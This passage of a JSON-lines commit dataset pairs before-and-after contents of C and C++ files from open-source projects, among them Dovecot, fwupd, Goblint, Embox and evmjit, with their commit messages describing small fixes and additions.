{"commit":"a3fbe1fe3afa3aa51b2a6e95589f9834963724ad","old_file":"include\/scratch\/bits\/type-traits\/is-contiguous-iterator.h","new_file":"include\/scratch\/bits\/type-traits\/is-contiguous-iterator.h","old_contents":"","new_contents":"#pragma once\n\n#include \"scratch\/bits\/type-traits\/is-foo.h\"\n\nnamespace scratch {\n\ntemplate<class It> struct is_contiguous_iterator : is_pointer<It> {};\n\ntemplate<class It> inline constexpr bool is_contiguous_iterator_v = is_contiguous_iterator<It>::value;\n\n} \/\/ namespace scratch\n","subject":"Implement `is_contiguous_iterator_v<It>`, for metaprogramming purposes.","message":"Implement `is_contiguous_iterator_v<It>`, for metaprogramming purposes.\n\nThis trait is being proposed for standardization; see for example N4183.\nYou'd expect to see a `contiguous_iterator_tag` derived from\n`random_access_iterator_tag` in \"iterator-tags.h\", but for some reason\nthe Committee hasn't been quick to adopt that idea.\n","lang":"C","license":"mit","repos":"Quuxplusone\/from-scratch,Quuxplusone\/from-scratch,Quuxplusone\/from-scratch"}
{"commit":"9fbdd2eecf2ae92ba076266e3dce6983604dd94a","old_file":"stm8\/src\/main.c","new_file":"stm8\/src\/main.c","old_contents":"#include <stdint.h>\n#include \"stm8s208s.h\"\n\nvoid main(void)\n{\n    MEMLOC(CLK_CKDIVR) = 0x00; \/* Set the frequency to 16 MHz *\/\n    BITSET(CLK_PCKENR1, 7); \/* Enable clk to TIM1 *\/\n\n    \/\/ Configure timer\n    \/\/ 250 ticks per second\n    MEMLOC(TIM1_PSCRH) = (64000>>8);\n    MEMLOC(TIM1_PSCRL) = (uint8_t)(64000 & 0xff);\n\n    MEMLOC(TIM1_CR1) = 0x01; \/* Enable timer *\/\n\n    BITSET(PB_DDR, 0); \/* Set PB0 as output *\/\n    BITRST(PB_CR2, 0); \/* Set low speed mode *\/\n    BITSET(PB_CR1, 0); \/* Set Push\/Pull mode *\/\n\n    for(;;) {\n        if ((MEMLOC(TIM1_CNTRL)) % 250 <= 125) {\n            BITTOG(PB_ODR, 0);\n        }\n    }\n}\n","new_contents":"#include <stdint.h>\n#include \"stm8s208s.h\"\n\nvoid main(void)\n{\n    MEMLOC(CLK_CKDIVR) = 0x00; \/* Set the frequency to 16 MHz *\/\n    BITSET(CLK_PCKENR1, 7); \/* Enable clk to TIM1 *\/\n\n    \/\/ Configure timer\n    \/\/ 250 ticks per second\n    MEMLOC(TIM1_PSCRH) = (64000>>8);\n    MEMLOC(TIM1_PSCRL) = (uint8_t)(64000 & 0xff);\n\n    MEMLOC(TIM1_CR1) = 0x01; \/* Enable timer *\/\n\n    BITSET(PB_DDR, 0); \/* Set PB0 as output *\/\n    BITRST(PB_CR2, 0); \/* Set low speed mode *\/\n    BITSET(PB_CR1, 0); \/* Set Push\/Pull mode *\/\n\n    for(;;)\n    {\n        if ((MEMLOC(TIM1_CNTRL)) % 250 < 125) {\n            BITRST(PB_ODR, 0);\n        } else {\n            BITSET(PB_ODR, 0);\n        }\n    }\n}\n","subject":"Fix stupid led toggle bug","message":"Fix stupid led toggle bug\n","lang":"C","license":"bsd-3-clause","repos":"spoorcc\/docker_embedded,spoorcc\/docker_embedded"}
{"commit":"9a48079c346bbd54cd48b1a1c091e74ec4535dcd","old_file":"Sources\/TypedKey.h","new_file":"Sources\/TypedKey.h","old_contents":"\/\/\n\/\/  TypedKey.h\n\/\/  TypedKey\n\/\/\n\/\/  Created by 전수열 on 1\/28\/16.\n\/\/  Copyright © 2016 Suyeol Jeon. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n\/\/! Project version number for TypedKey.\nFOUNDATION_EXPORT double TypedKeyVersionNumber;\n\n\/\/! Project version string for TypedKey.\nFOUNDATION_EXPORT const unsigned char TypedKeyVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <TypedKey\/PublicHeader.h>\n\n\n","new_contents":"\/\/ The MIT License (MIT)\n\/\/\n\/\/ Copyright (c) 2016 Suyeol Jeon (xoul.kr)\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in all\n\/\/ copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\n#if defined(TARGET_OS_IPHONE) || defined(TARGET_IPHONE_SIMULATOR) || defined(TARGET_OS_MAC)\n\n@import Foundation;\n\nFOUNDATION_EXPORT double TypedKeyVersionNumber;\nFOUNDATION_EXPORT const unsigned char TypedKeyVersionString[];\n\n#endif\n","subject":"Add platform check preprocessor conditions","message":"Add platform check preprocessor conditions\n","lang":"C","license":"mit","repos":"devxoul\/TypedKey,devxoul\/TypedKey"}
{"commit":"9ac14d7ea9468fd480cfd5375242b4101ef37441","old_file":"src\/lib-dict\/dict-register.c","new_file":"src\/lib-dict\/dict-register.c","old_contents":"\/* Copyright (c) 2013-2015 Dovecot authors, see the included COPYING file *\/\n\n#include \"lib.h\"\n#include \"dict-private.h\"\n\nvoid dict_drivers_register_builtin(void)\n{\n\tdict_driver_register(&dict_driver_client);\n\tdict_driver_register(&dict_driver_file);\n\tdict_driver_register(&dict_driver_fs);\n\tdict_driver_register(&dict_driver_memcached);\n\tdict_driver_register(&dict_driver_memcached_ascii);\n\tdict_driver_register(&dict_driver_redis);\n}\n\nvoid dict_drivers_unregister_builtin(void)\n{\n\tdict_driver_unregister(&dict_driver_client);\n\tdict_driver_unregister(&dict_driver_file);\n\tdict_driver_unregister(&dict_driver_fs);\n\tdict_driver_unregister(&dict_driver_memcached);\n\tdict_driver_unregister(&dict_driver_memcached_ascii);\n\tdict_driver_unregister(&dict_driver_redis);\n}\n","new_contents":"\/* Copyright (c) 2013-2015 Dovecot authors, see the included COPYING file *\/\n\n#include \"lib.h\"\n#include \"dict-private.h\"\n\nstatic int refcount = 0;\n\nvoid dict_drivers_register_builtin(void)\n{\n\tif (refcount++ > 0)\n\t\treturn;\n\tdict_driver_register(&dict_driver_client);\n\tdict_driver_register(&dict_driver_file);\n\tdict_driver_register(&dict_driver_fs);\n\tdict_driver_register(&dict_driver_memcached);\n\tdict_driver_register(&dict_driver_memcached_ascii);\n\tdict_driver_register(&dict_driver_redis);\n}\n\nvoid dict_drivers_unregister_builtin(void)\n{\n\tif (--refcount > 0)\n\t\treturn;\n\tdict_driver_unregister(&dict_driver_client);\n\tdict_driver_unregister(&dict_driver_file);\n\tdict_driver_unregister(&dict_driver_fs);\n\tdict_driver_unregister(&dict_driver_memcached);\n\tdict_driver_unregister(&dict_driver_memcached_ascii);\n\tdict_driver_unregister(&dict_driver_redis);\n}\n","subject":"Allow registering builtin dict drivers multiple times.","message":"lib-dict: Allow registering builtin dict drivers multiple times.\n","lang":"C","license":"mit","repos":"dscho\/dovecot,dscho\/dovecot,dscho\/dovecot,dscho\/dovecot,dscho\/dovecot"}
{"commit":"2a5122b4a008ee247f58a654e4881aa555d82742","old_file":"libfwupd\/fwupd-client-private.h","new_file":"libfwupd\/fwupd-client-private.h","old_contents":"\/*\n * Copyright (C) 2016 Richard Hughes <richard@hughsie.com>\n *\n * SPDX-License-Identifier: LGPL-2.1+\n *\/\n\n#pragma once\n\n#include \"fwupd-client.h\"\n\n#ifdef HAVE_GIO_UNIX\n#include <gio\/gunixinputstream.h>\n#endif\n\n#ifdef HAVE_GIO_UNIX\nvoid\t\t fwupd_client_get_details_stream_async\t(FwupdClient\t*self,\n\t\t\t\t\t\t\t GUnixInputStream *istr,\n\t\t\t\t\t\t\t GCancellable\t*cancellable,\n\t\t\t\t\t\t\t GAsyncReadyCallback callback,\n\t\t\t\t\t\t\t gpointer\t callback_data);\nvoid\t\t fwupd_client_install_stream_async\t(FwupdClient\t*self,\n\t\t\t\t\t\t\t const gchar\t*device_id,\n\t\t\t\t\t\t\t GUnixInputStream *istr,\n\t\t\t\t\t\t\t const gchar\t*filename_hint,\n\t\t\t\t\t\t\t FwupdInstallFlags install_flags,\n\t\t\t\t\t\t\t GCancellable\t*cancellable,\n\t\t\t\t\t\t\t GAsyncReadyCallback callback,\n\t\t\t\t\t\t\t gpointer\t callback_data);\nvoid\t\t fwupd_client_update_metadata_stream_async(FwupdClient\t*self,\n\t\t\t\t\t\t\t const gchar\t*remote_id,\n\t\t\t\t\t\t\t GUnixInputStream *istr,\n\t\t\t\t\t\t\t GUnixInputStream *istr_sig,\n\t\t\t\t\t\t\t GCancellable\t*cancellable,\n\t\t\t\t\t\t\t GAsyncReadyCallback callback,\n\t\t\t\t\t\t\t gpointer\t callback_data);\nvoid\t\t fwupd_client_download_bytes2_async\t(FwupdClient\t*self,\n\t\t\t\t\t\t\t GPtrArray\t*urls,\n\t\t\t\t\t\t\t FwupdClientDownloadFlags flags,\n\t\t\t\t\t\t\t GCancellable\t*cancellable,\n\t\t\t\t\t\t\t GAsyncReadyCallback callback,\n\t\t\t\t\t\t\t gpointer\t callback_data);\n#endif\n","new_contents":"\/*\n * Copyright (C) 2016 Richard Hughes <richard@hughsie.com>\n *\n * SPDX-License-Identifier: LGPL-2.1+\n *\/\n\n#pragma once\n\n#include \"fwupd-client.h\"\n\n#ifdef HAVE_GIO_UNIX\n#include <gio\/gunixinputstream.h>\n#endif\n\nvoid\t\t fwupd_client_download_bytes2_async\t(FwupdClient\t*self,\n\t\t\t\t\t\t\t GPtrArray\t*urls,\n\t\t\t\t\t\t\t FwupdClientDownloadFlags flags,\n\t\t\t\t\t\t\t GCancellable\t*cancellable,\n\t\t\t\t\t\t\t GAsyncReadyCallback callback,\n\t\t\t\t\t\t\t gpointer\t callback_data);\n\n#ifdef HAVE_GIO_UNIX\nvoid\t\t fwupd_client_get_details_stream_async\t(FwupdClient\t*self,\n\t\t\t\t\t\t\t GUnixInputStream *istr,\n\t\t\t\t\t\t\t GCancellable\t*cancellable,\n\t\t\t\t\t\t\t GAsyncReadyCallback callback,\n\t\t\t\t\t\t\t gpointer\t callback_data);\nvoid\t\t fwupd_client_install_stream_async\t(FwupdClient\t*self,\n\t\t\t\t\t\t\t const gchar\t*device_id,\n\t\t\t\t\t\t\t GUnixInputStream *istr,\n\t\t\t\t\t\t\t const gchar\t*filename_hint,\n\t\t\t\t\t\t\t FwupdInstallFlags install_flags,\n\t\t\t\t\t\t\t GCancellable\t*cancellable,\n\t\t\t\t\t\t\t GAsyncReadyCallback callback,\n\t\t\t\t\t\t\t gpointer\t callback_data);\nvoid\t\t fwupd_client_update_metadata_stream_async(FwupdClient\t*self,\n\t\t\t\t\t\t\t const gchar\t*remote_id,\n\t\t\t\t\t\t\t GUnixInputStream *istr,\n\t\t\t\t\t\t\t GUnixInputStream *istr_sig,\n\t\t\t\t\t\t\t GCancellable\t*cancellable,\n\t\t\t\t\t\t\t GAsyncReadyCallback callback,\n\t\t\t\t\t\t\t gpointer\t callback_data);\n#endif\n","subject":"Fix a warning when compiling on Windows","message":"trivial: Fix a warning when compiling on Windows\n\nMove the function prototype out of the GUnixInputStream-using ones.\n","lang":"C","license":"lgpl-2.1","repos":"hughsie\/fwupd,hughsie\/fwupd,fwupd\/fwupd,hughsie\/fwupd,hughsie\/fwupd,fwupd\/fwupd,fwupd\/fwupd,fwupd\/fwupd"}
{"commit":"f3c3bd81d88f084b9f60e7ef024335511430f022","old_file":"src\/http\/mimetypes.h","new_file":"src\/http\/mimetypes.h","old_contents":"","new_contents":"#ifndef\tAPIMOCK_MIMETYPES_H\n#define APIMOCK_MIMETYPES_H\n\n#include <unordered_map>\n\nnamespace ApiMock {\n\tclass Mime {\n\n\tpublic:\n\t\tstd::string GetMimeByFileName(const std::string& filename) {\n\t\t\tstatic const std::unordered_map<std::string, std::string> MIME_TYPES{\n\t\t\t\t\t{ \".css\", \"text\/css\" },\n\t\t\t\t\t{ \".html\", \"text\/html\" },\n\t\t\t\t\t{ \".js\", \"application\/javascript\" },\n\t\t\t\t\t{ \".jpg\", \"image\/jpeg\" },\n\t\t\t\t\t{ \".jpeg\", \"image\/jpeg\" },\n\t\t\t\t\t{ \".png\", \"image\/png\" },\n\t\t\t};\n\n\t\t\t\/\/ TODO: Uh. Implement\n\t\t\treturn \"\";\n\t\t}\n\t};\n}\n\n#endif","subject":"Add some simple mime types","message":"Add some simple mime types\n\nIt doesn't really resolve the type right now, but eh..\n","lang":"C","license":"mit","repos":"Lavesson\/api-mock,Lavesson\/api-mock,Lavesson\/api-mock,Lavesson\/api-mock"}
{"commit":"e51422c402e64a6360735b72fcb482d06b94eeb1","old_file":"src\/modules\/health.c","new_file":"src\/modules\/health.c","old_contents":"#include \"health.h\"\n\nstatic bool s_health_available;\n\nstatic void health_handler(HealthEventType event, void *context) {\n  main_window_update_ui();\n}\n\nvoid health_init() {\n  s_health_available = health_service_events_subscribe(health_handler, NULL);\n  if(!s_health_available) {\n    APP_LOG(APP_LOG_LEVEL_ERROR, \"Health not available!\");\n  }\n}\n\nbool health_is_available() {\n  return s_health_available;\n}\n\nint health_get_metric_sum(HealthMetric metric) {\n  return (int)health_service_sum_today(metric);\n}\n","new_contents":"#include \"health.h\"\n\nstatic bool s_health_available;\n\nstatic void health_handler(HealthEventType event, void *context) {\n  main_window_update_ui();\n}\n\nvoid health_init() {\n  s_health_available = health_service_events_subscribe(health_handler, NULL);\n  if(!s_health_available) {\n    APP_LOG(APP_LOG_LEVEL_ERROR, \"Health not available!\");\n  }\n}\n\nbool health_is_available() {\n  return s_health_available;\n}\n\nint health_get_metric_sum(HealthMetric metric) {\n  HealthServiceAccessibilityMask mask = health_service_metric_accessible(metric, \n    time_start_of_today(), time(NULL));\n  if(mask == HealthServiceAccessibilityMaskAvailable) {\n    return (int)health_service_sum_today(metric);\n  } else {\n    APP_LOG(APP_LOG_LEVEL_ERROR, \"Data unavailable!\");\n    return 0;\n  }\n}\n","subject":"Add accessible check to sum read","message":"Add accessible check to sum read\n","lang":"C","license":"mit","repos":"pebble-examples\/simple-health-example,pebble-examples\/simple-health-example,pebble-examples\/simple-health-example"}
{"commit":"1f2f54dda3340c825bcf25d1fa31f89e31a393ee","old_file":"include\/lll\/lll_unittest.h","new_file":"include\/lll\/lll_unittest.h","old_contents":"","new_contents":"#ifndef __LLL_UNITTEST_H__\n#define __LLL_UNITTEST_H__\n\/***********************************************************************\n * Low Latency Library: Test framwork\n *\n * Released under the MIT license. The LICENSE file should be included\n * in the top level of the source tree\n ***********************************************************************\/\n#include <cstdio>\n#include <cassert>\nnamespace lll {\nnamespace unittest {\n\nclass UnitTest;\n\nextern UnitTest *lll_unittest_list;\n\nclass UnitTest {\n    const char *name_;\n    void (*fcn_)(void);\n    UnitTest *next_;\npublic:\n    UnitTest(const char *name, void (*fcn)(void)) :\n\tname_(name),\n\tfcn_(fcn)\n    {\n\tnext_ = lll_unittest_list;\n\tlll_unittest_list = this;\n    }\n\n    void run(void) const {\n\tstd::printf(\"Starting  testcase %s\\n\", name_);\n\tfcn_();\n\tstd::printf(\"Completed testcase %s\\n\", name_);\n    }\n\n    UnitTest *next() { return next_; }\n};\n\n} \/\/ test\n} \/\/ lll\n\n#endif \n","subject":"Add missing unittest header file","message":"Add missing unittest header file\n","lang":"C","license":"mit","repos":"screaminprogramming\/lll"}
{"commit":"5e311be4baf9b155b7d2fcf9d6da932be8214549","old_file":"3rdParty\/snappy\/google-snappy-d53de18\/build-tests\/__builtin_expect.c","new_file":"3rdParty\/snappy\/google-snappy-d53de18\/build-tests\/__builtin_expect.c","old_contents":"","new_contents":"\/*\n * build-tests\/__builtin_expect.c\n *\n * test if the compiler has __builtin_expect().\n *\/\n\nint main(void) {\n  return __builtin_expect(1, 1) ? 1 : 0;\n}\n","subject":"Add missing test source file.","message":"Add missing test source file.\n","lang":"C","license":"apache-2.0","repos":"joerg84\/arangodb,graetzer\/arangodb,baslr\/ArangoDB,m0ppers\/arangodb,graetzer\/arangodb,m0ppers\/arangodb,baslr\/ArangoDB,Simran-B\/arangodb,m0ppers\/arangodb,m0ppers\/arangodb,wiltonlazary\/arangodb,Simran-B\/arangodb,wiltonlazary\/arangodb,joerg84\/arangodb,wiltonlazary\/arangodb,graetzer\/arangodb,baslr\/ArangoDB,wiltonlazary\/arangodb,fceller\/arangodb,Simran-B\/arangodb,joerg84\/arangodb,m0ppers\/arangodb,fceller\/arangodb,arangodb\/arangodb,graetzer\/arangodb,baslr\/ArangoDB,m0ppers\/arangodb,hkernbach\/arangodb,Simran-B\/arangodb,joerg84\/arangodb,hkernbach\/arangodb,graetzer\/arangodb,baslr\/ArangoDB,joerg84\/arangodb,wiltonlazary\/arangodb,baslr\/ArangoDB,hkernbach\/arangodb,fceller\/arangodb,joerg84\/arangodb,hkernbach\/arangodb,hkernbach\/arangodb,joerg84\/arangodb,arangodb\/arangodb,Simran-B\/arangodb,fceller\/arangodb,Simran-B\/arangodb,baslr\/ArangoDB,Simran-B\/arangodb,fceller\/arangodb,m0ppers\/arangodb,graetzer\/arangodb,fceller\/arangodb,joerg84\/arangodb,joerg84\/arangodb,hkernbach\/arangodb,baslr\/ArangoDB,hkernbach\/arangodb,joerg84\/arangodb,Simran-B\/arangodb,m0ppers\/arangodb,baslr\/ArangoDB,baslr\/ArangoDB,fceller\/arangodb,Simran-B\/arangodb,fceller\/arangodb,m0ppers\/arangodb,arangodb\/arangodb,joerg84\/arangodb,graetzer\/arangodb,graetzer\/arangodb,arangodb\/arangodb,joerg84\/arangodb,hkernbach\/arangodb,graetzer\/arangodb,arangodb\/arangodb,hkernbach\/arangodb,graetzer\/arangodb,hkernbach\/arangodb,joerg84\/arangodb,hkernbach\/arangodb,baslr\/ArangoDB,baslr\/ArangoDB,graetzer\/arangodb,hkernbach\/arangodb,m0ppers\/arangodb,wiltonlazary\/arangodb,Simran-B\/arangodb,joerg84\/arangodb,graetzer\/arangodb,wiltonlazary\/arangodb,m0ppers\/arangodb,baslr\/ArangoDB,m0ppers\/arangodb,hkernbach\/arangodb,graetzer\/arangodb,wiltonlazary\/arangodb,arangodb\/arangodb,baslr\/ArangoDB,fceller\/arangodb,arangodb\/arangodb,hkernbach\/arangodb,fceller\/arangodb,arangodb\/arangodb,m0ppers\/arangodb,graetzer\/arangodb"}
{"commit":"a5f8b0c02ea53a5f99671eff071a76d68d117a2e","old_file":"tools\/hardware.h","new_file":"tools\/hardware.h","old_contents":"#ifndef _HARDWARE_H_\n#define _HARDWARE_H_\n\n#include <stdint.h>\n\n\/\/ For disk\/drive status\n#define HW_NODRIVE 0\n#define HW_NODISK 1\n#define HW_HAVEDISK 2\n\n\/\/ Drive geometry\n#define HW_MAXHEADS 2\n#define HW_MAXTRACKS 80\n\n#define HW_NORMALSTEPPING 1\n#define HW_DOUBLESTEPPING 2\n\nextern int hw_currenttrack;\nextern int hw_currenthead;\n\nextern int hw_stepping;\n\n\/\/ Initialisation\nextern int hw_init();\n\n\/\/ Drive control\nextern unsigned char hw_detectdisk();\nextern void hw_driveselect();\nextern void hw_startmotor();\nextern void hw_stopmotor();\n\n\/\/ Track seeking\nextern int hw_attrackzero();\nextern void hw_seektotrackzero();\nextern void hw_sideselect(const int side);\n\n\/\/ Signaling and data sampling\nextern int hw_writeprotected();\nextern void hw_samplerawtrackdata(char* buf, uint32_t len);\n\n\/\/ Clean up\nextern void hw_done();\n\n#endif\n","new_contents":"#ifndef _HARDWARE_H_\n#define _HARDWARE_H_\n\n#include <stdint.h>\n\n\/\/ For disk\/drive status\n#define HW_NODRIVE 0\n#define HW_NODISK 1\n#define HW_HAVEDISK 2\n\n\/\/ Drive geometry\n#define HW_MAXHEADS 2\n#define HW_MAXTRACKS 80\n\n#define HW_NORMALSTEPPING 1\n#define HW_DOUBLESTEPPING 2\n\nextern int hw_currenttrack;\nextern int hw_currenthead;\n\nextern int hw_stepping;\n\n\/\/ Initialisation\nextern int hw_init();\n\n\/\/ Drive control\nextern unsigned char hw_detectdisk();\nextern void hw_driveselect();\nextern void hw_startmotor();\nextern void hw_stopmotor();\n\n\/\/ Track seeking\nextern int hw_attrackzero();\nextern void hw_seektotrackzero();\nextern void hw_seektotrack(int track);\nextern void hw_sideselect(const int side);\n\n\/\/ Signaling and data sampling\nextern void hw_waitforindex();\nextern int hw_writeprotected();\nextern void hw_samplerawtrackdata(char* buf, uint32_t len);\n\n\/\/ Clean up\nextern void hw_done();\n\n#endif\n","subject":"Add externs for the functions used","message":"Add externs for the functions used\n","lang":"C","license":"mit","repos":"picosonic\/bbc-fdc,picosonic\/bbc-fdc"}
{"commit":"2841d9e60e46d27c353e0f888d2b18c13dee142c","old_file":"tests\/regression\/27-inv_invariants\/05-interval-arith.c","new_file":"tests\/regression\/27-inv_invariants\/05-interval-arith.c","old_contents":"","new_contents":"\/\/ PARAM: --enable ana.int.interval --disable ana.int.def_exc --disable ana.int.enums\n#include <assert.h>\n#include <stdio.h>\n\nint main(){\n    unsigned int i = 3;\n\n    \/\/ 3 * 2^30 == 3221225472u is outside of the range that Intervall32 can represent\n    \/\/ Therefore, when trying to refine i, Base.invariant meets i -> [3;3] with i -> [(-2^31) \/ 2^30; ((2^31)-1) \/ 2^30] = [-2; 1]\n    \/\/ We thus get i -> Bottom, and the code after the condition is considered unreachable\n    if(i *  1073741824u == 3221225472u){\n        printf(\"%u\\n\", i);\n        assert(i == 3); \/\/ SUCCESS\n    }\n    assert(i == 3); \/\/ SUCCESS\n    return 0;\n}\n","subject":"Add test case for multiplication in conditions with Interval32.","message":"Add test case for multiplication in conditions with Interval32.\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"cd13a6438f8422822ab170cd90ecb67845e41e24","old_file":"include\/stdarg.h","new_file":"include\/stdarg.h","old_contents":"\/* $Id$ *\/\n\/* Copyright (c) 2007 The DeforaOS Project *\/\n\n\n\n#ifndef LIBC_STDARG_H\n# define LIBC_STDARG_H\n\n\n\/* types *\/\n# ifndef va_list\n#  define va_list va_list\ntypedef void * va_list;\n# endif\n\n\n\/* macros *\/\n# if defined(__i386__)\n#  define va_start(ap, arg) (ap) = ((char*)&arg) + 4\n#  define va_arg(ap, type) ((ap) += sizeof(type), \\\n\t\t*(type*)((void*)ap - sizeof(type)))\n#  define va_end(ap)\n# else \/* !__i386__ *\/\n#  warning Unsupported architecture\n#  define va_start(ap, arg)\n#  define va_arg(ap, type) (type)(ap)\n#  define va_end(ap)\n# endif\n\n#endif \/* !LIBC_STDARG_H *\/\n","new_contents":"\/* $Id$ *\/\n\/* Copyright (c) 2007 The DeforaOS Project *\/\n\n\n\n#ifndef LIBC_STDARG_H\n# define LIBC_STDARG_H\n\n\n\/* types *\/\n# ifndef va_list\n#  define va_list va_list\ntypedef void * va_list;\n# endif\n\n\n\/* macros *\/\n# if defined(__i386__)\n#  define va_start(ap, arg)\t(ap) = ((char*)&arg) + 4\n#  define va_arg(ap, type)\t((ap) += sizeof(type), \\\n\t\t*(type*)((void*)ap - sizeof(type)))\n#  define va_end(ap)\n# elif defined(__sparc64__)\t\/* XXX compiler dependent *\/\n#  define va_start(ap, arg)\t__builtin_va_start(ap, arg)\n#  define va_arg(ap, type)\t__builtin_va_arg(ap, type)\n#  define va_end(ap)\t\t__builtin_va_end(ap)\n# else \/* !__i386__ *\/\n#  warning Unsupported architecture\n#  define va_start(ap, arg)\n#  define va_arg(ap, type) (type)(ap)\n#  define va_end(ap)\n# endif\n\n#endif \/* !LIBC_STDARG_H *\/\n","subject":"Use GCC's builtins to implement va_list on sparc64 for now","message":"Use GCC's builtins to implement va_list on sparc64 for now\n","lang":"C","license":"bsd-2-clause","repos":"DeforaOS\/libc,DeforaOS\/libc"}
{"commit":"433c6dbc94b204e94b3c3391cc00b8e6ae71108d","old_file":"src\/lib\/soft-fp\/udivdi3.c","new_file":"src\/lib\/soft-fp\/udivdi3.c","old_contents":"\/**\n * @file\n *\n * @brief\n *\n * @date 16.05.2012\n * @author Anton Bondarev\n *\/\n#include <types.h>\n\nuint64_t __udivdi3(uint64_t num, uint64_t den) {\n\tuint64_t result = 0;\n\tint steps;\n\tint i;\n\n\tif (0 == den) {\n\t\treturn 0;\n\t}\n\twhile (0x8000000000000000 != (den & 0x8000000000000000)) {\n\t\tden <<= 1;\n\t\tsteps++;\n\t}\n\n\tfor (i = 0; i <= steps; i++) {\n\t\tresult <<= 1;\n\t\tif (num >= den) {\n\t\t\tresult += 1;\n\t\t\tnum -= den;\n\t\t}\n\t\tden >>= 1;\n\t}\n\treturn result;\n}\n","new_contents":"\/**\n * @file\n * @brief\n *\n * @date 16.05.2012\n * @author Anton Bondarev\n *\/\n\n#include <types.h>\n\nuint64_t __udivdi3(uint64_t num, uint64_t den) {\n\tuint64_t result = 0;\n\tint steps = 0;\n\tint i;\n\n\tif (0 == den) {\n\t\treturn 0;\n\t}\n\twhile (0x8000000000000000 != (den & 0x8000000000000000)) {\n\t\tden <<= 1;\n\t\tsteps++;\n\t}\n\n\tfor (i = 0; i <= steps; i++) {\n\t\tresult <<= 1;\n\t\tif (num >= den) {\n\t\t\tresult += 1;\n\t\t\tnum -= den;\n\t\t}\n\t\tden >>= 1;\n\t}\n\treturn result;\n}\n","subject":"Fix build error (maybe-uninitialized variable)","message":"Fix build error (maybe-uninitialized variable)","lang":"C","license":"bsd-2-clause","repos":"Kefir0192\/embox,mike2390\/embox,vrxfile\/embox-trik,abusalimov\/embox,Kefir0192\/embox,abusalimov\/embox,Kefir0192\/embox,mike2390\/embox,embox\/embox,Kefir0192\/embox,embox\/embox,mike2390\/embox,Kakadu\/embox,Kefir0192\/embox,abusalimov\/embox,Kakadu\/embox,vrxfile\/embox-trik,abusalimov\/embox,Kakadu\/embox,gzoom13\/embox,Kefir0192\/embox,mike2390\/embox,vrxfile\/embox-trik,gzoom13\/embox,mike2390\/embox,vrxfile\/embox-trik,gzoom13\/embox,gzoom13\/embox,Kefir0192\/embox,gzoom13\/embox,Kakadu\/embox,abusalimov\/embox,mike2390\/embox,mike2390\/embox,vrxfile\/embox-trik,gzoom13\/embox,embox\/embox,embox\/embox,vrxfile\/embox-trik,vrxfile\/embox-trik,Kakadu\/embox,embox\/embox,abusalimov\/embox,gzoom13\/embox,Kakadu\/embox,embox\/embox,Kakadu\/embox"}
{"commit":"5bc24913bf500b2cb1ba547a12c67f7ba3064ecc","old_file":"evmjit\/libevmjit\/Common.h","new_file":"evmjit\/libevmjit\/Common.h","old_contents":"#pragma once\n\n#include <vector>\n#include <boost\/multiprecision\/cpp_int.hpp>\n\nnamespace dev\n{\nnamespace eth\n{\nnamespace jit\n{\n\nusing byte = uint8_t;\nusing bytes = std::vector<byte>;\nusing u256 = boost::multiprecision::uint256_t;\nusing bigint = boost::multiprecision::cpp_int;\n\nstruct NoteChannel {};\t\/\/ FIXME: Use some log library?\n\nenum class ReturnCode\n{\n\tStop = 0,\n\tReturn = 1,\n\tSuicide = 2,\n\n\tBadJumpDestination = 101,\n\tOutOfGas = 102,\n\tStackTooSmall = 103,\n\tBadInstruction = 104,\n\n\tLLVMConfigError = 201,\n\tLLVMCompileError = 202,\n\tLLVMLinkError = 203,\n};\n\n\/\/\/ Representation of 256-bit value binary compatible with LLVM i256\n\/\/ TODO: Replace with h256\nstruct i256\n{\n\tuint64_t a;\n\tuint64_t b;\n\tuint64_t c;\n\tuint64_t d;\n};\nstatic_assert(sizeof(i256) == 32, \"Wrong i265 size\");\n\n#define UNTESTED assert(false)\n\n}\n}\n}\n","new_contents":"#pragma once\n\n#include <vector>\n#include <boost\/multiprecision\/cpp_int.hpp>\n\nnamespace dev\n{\nnamespace eth\n{\nnamespace jit\n{\n\nusing byte = uint8_t;\nusing bytes = std::vector<byte>;\nusing u256 = boost::multiprecision::uint256_t;\nusing bigint = boost::multiprecision::cpp_int;\n\nstruct NoteChannel {};\t\/\/ FIXME: Use some log library?\n\nenum class ReturnCode\n{\n\tStop = 0,\n\tReturn = 1,\n\tSuicide = 2,\n\n\tBadJumpDestination = 101,\n\tOutOfGas = 102,\n\tStackTooSmall = 103,\n\tBadInstruction = 104,\n\n\tLLVMConfigError = 201,\n\tLLVMCompileError = 202,\n\tLLVMLinkError = 203,\n};\n\n\/\/\/ Representation of 256-bit value binary compatible with LLVM i256\n\/\/ TODO: Replace with h256\nstruct i256\n{\n\tuint64_t a = 0;\n\tuint64_t b = 0;\n\tuint64_t c = 0;\n\tuint64_t d = 0;\n};\nstatic_assert(sizeof(i256) == 32, \"Wrong i265 size\");\n\n#define UNTESTED assert(false)\n\n}\n}\n}\n","subject":"Fix some GCC initialization warnings","message":"Fix some GCC initialization 